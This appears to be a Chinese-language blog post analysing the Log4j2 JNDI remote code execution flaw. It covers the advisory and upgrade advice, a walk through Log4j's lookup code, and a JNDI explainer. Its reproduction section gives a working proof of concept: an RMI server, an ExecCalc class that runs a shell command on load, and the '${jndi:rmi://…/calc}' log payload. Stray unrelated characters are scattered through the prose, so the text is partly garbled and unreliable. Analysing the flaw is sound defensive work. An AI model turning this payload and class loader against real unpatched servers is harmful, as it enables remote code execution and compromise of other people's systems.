漏洞的前因后果
2021 年 12 月 9 日烘苹,2021 年 11 月 24 日,阿里云安全團隊向 Apache 官方報告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞蝇刀。詳情見 【漏洞預(yù)警】Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞
漏洞描述
Apache Log4j2 是一款優(yōu)秀的 Java 日志框架螟加。2021 年 11 月 24 日,阿里云安全團隊向 Apache 官方報告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞吞琐。
由于 Apache Log4j2 某些功能存在遞歸解析功能捆探,攻擊者可直接構(gòu)造惡意請求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞站粟。漏洞利用無需特殊配置黍图,經(jīng)阿里云安全團隊驗證,Apache Struts2奴烙、Apache Solr助被、Apache Druid剖张、Apache Flink 等均受影響。阿里云應(yīng)急響應(yīng)中心提醒 Apache Log4j2 用戶盡快采取安全措施阻止漏洞攻擊揩环。
漏洞評級
Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞 嚴(yán)重
搔弄。
影響版本
Apache Log4j 2.x <= 2.14.1
安全建議
1、升級 Apache Log4j2 所有相關(guān)應(yīng)用到最新的 log4j-2.15.0-rc1 版本丰滑,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2顾犹、升級已知受影響的應(yīng)用及組件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid褒墨。
本地復(fù)現(xiàn)漏洞
首先需要使用低版本的 log4j 包炫刷,我們在本地新建一個 Spring Boot 項目,使用 2.5.7 版本的 Spring Boot郁妈,可以看到一老的 log4j 是 2.14.1浑玛,可以復(fù)現(xiàn)漏洞。
參考 Apache Log4j Lookups噩咪,我們先使用代碼在 log 里獲取一下 java:vm顾彰。
本地打印 JVM 基礎(chǔ)信息
@SpringBootTest
class Log4jApplicationTests {
private static final Logger logger = LogManager.getLogger(SpringBootTest.class);
@Test
void log4j() {
logger.info("content {}", "${java:vm}");
}
}
可以發(fā)現(xiàn)輸出是:
content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)
使用 JavaLookup 獲取到了 JVM 的相關(guān)信息(需要使用java
前綴)。
本地獲取服務(wù)器的打印信息
本地啟動一個 RMI 服務(wù):
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:8081/";
// Reference 需要傳入三個參數(shù) (className,factory,factoryLocation)
// 第一個參數(shù)隨意填寫即可剧腻,第二個參數(shù)填寫我們 http 服務(wù)下的類名拘央,第三個參數(shù)填寫我們的遠(yuǎn)程地址
Reference reference = new Reference("ExecCalc", "ExecCalc", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
}
}
ExecCalc 類直接放在根目錄,不能申請包名书在,即不能存在 package xxx。聲明后編譯的 class 文件函數(shù)名稱會加上包名從而不匹配拆又。參考 Java 安全-RMI-JNDI 注入儒旬。
public class ExecCalc {
static {
try {
System.out.println("open a Calculator!");
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
}
之后啟動上面的 Server 類,再執(zhí)行下面的代碼:
@Test
void log4jEvil() {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}
發(fā)現(xiàn)測試用例的控制臺輸出了 open a Calculator!
并啟動了計算器帖族。
log4j 漏洞源碼分析
只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
這段代碼栈源,首先會調(diào)用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
callAppenders(event);
}
logParent(event, predicate);
}
其中 LogEvent 結(jié)構(gòu)如下:
encode 對應(yīng)的事件,將 ${param} 里的 param 解析出來竖般,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend
private void tryAppend(final LogEvent event) {
if (Constants.ENABLE_DIRECT_ENCODERS) {
directEncodeEvent(event);
} else {
writeByteArrayToManager(event);
}
}
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
調(diào)用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable甚垦,將對應(yīng)參數(shù)解析出結(jié)果。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
和官方文檔上是能夠?qū)?yīng)上的涣雕,即 log 里只解析前綴為 date
艰亮、jndi
等的命令,本文的測試用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}
挣郭。
解析出參數(shù)的結(jié)果迄埃, org.apache.logging.log4j.core.lookup.Interpolator#lookup
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
其核心是這段代碼:
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
org.apache.logging.log4j.core.lookup.JndiLookup#lookup
接下來就是調(diào)用 javax.naming 的 JDK 相關(guān)代碼,遠(yuǎn)程加載了 ExecCalc 類兑障,在本地輸出了 open a Calculator!
并啟動了計算器侄非。
擴展:JNDI
JNDI (Java Naming and Directory Interface) 是一組應(yīng)用程序接口蕉汪,它為開發(fā)人員查找和訪問各種資源提供了統(tǒng)一的通用接口,可以用來定位用戶逞怨、網(wǎng)絡(luò)者疤、機器、對象和服務(wù)等各種資源叠赦。比如可以利用 JNDI 在局域網(wǎng)上定位一臺打印機宛渐,也可以用 JNDI 來定位數(shù)據(jù)庫服務(wù)或一個遠(yuǎn)程 Java 對象。JNDI 底層支持 RMI 遠(yuǎn)程對象眯搭,RMI 注冊的服務(wù)可以通過 JNDI 接口來訪問和調(diào)用窥翩。
JNDI 是應(yīng)用程序設(shè)計的 Api,JNDI 可以根據(jù)名字動態(tài)加載數(shù)據(jù)鳞仙,支持的服務(wù)主要有以下幾種:DNS寇蚊、LDAP、 CORBA 對象服務(wù)棍好、RMI 等等仗岸。
其應(yīng)用場景比如:動態(tài)加載數(shù)據(jù)庫配置文件,從而保持?jǐn)?shù)據(jù)庫代碼不變動等借笙。
危害是什么扒怖?
- client 可以獲取服務(wù)器的某些信息,通過 JNDI 遠(yuǎn)程加載類
- client 向服務(wù)器注入惡意代碼
GitHub 項目
Java 編程思想-最全思維導(dǎo)圖-GitHub 下載鏈接业稼,需要的小伙伴可以自取~
原創(chuàng)不易盗痒,希望大家轉(zhuǎn)載時請先聯(lián)系我,并標(biāo)注原文鏈接低散。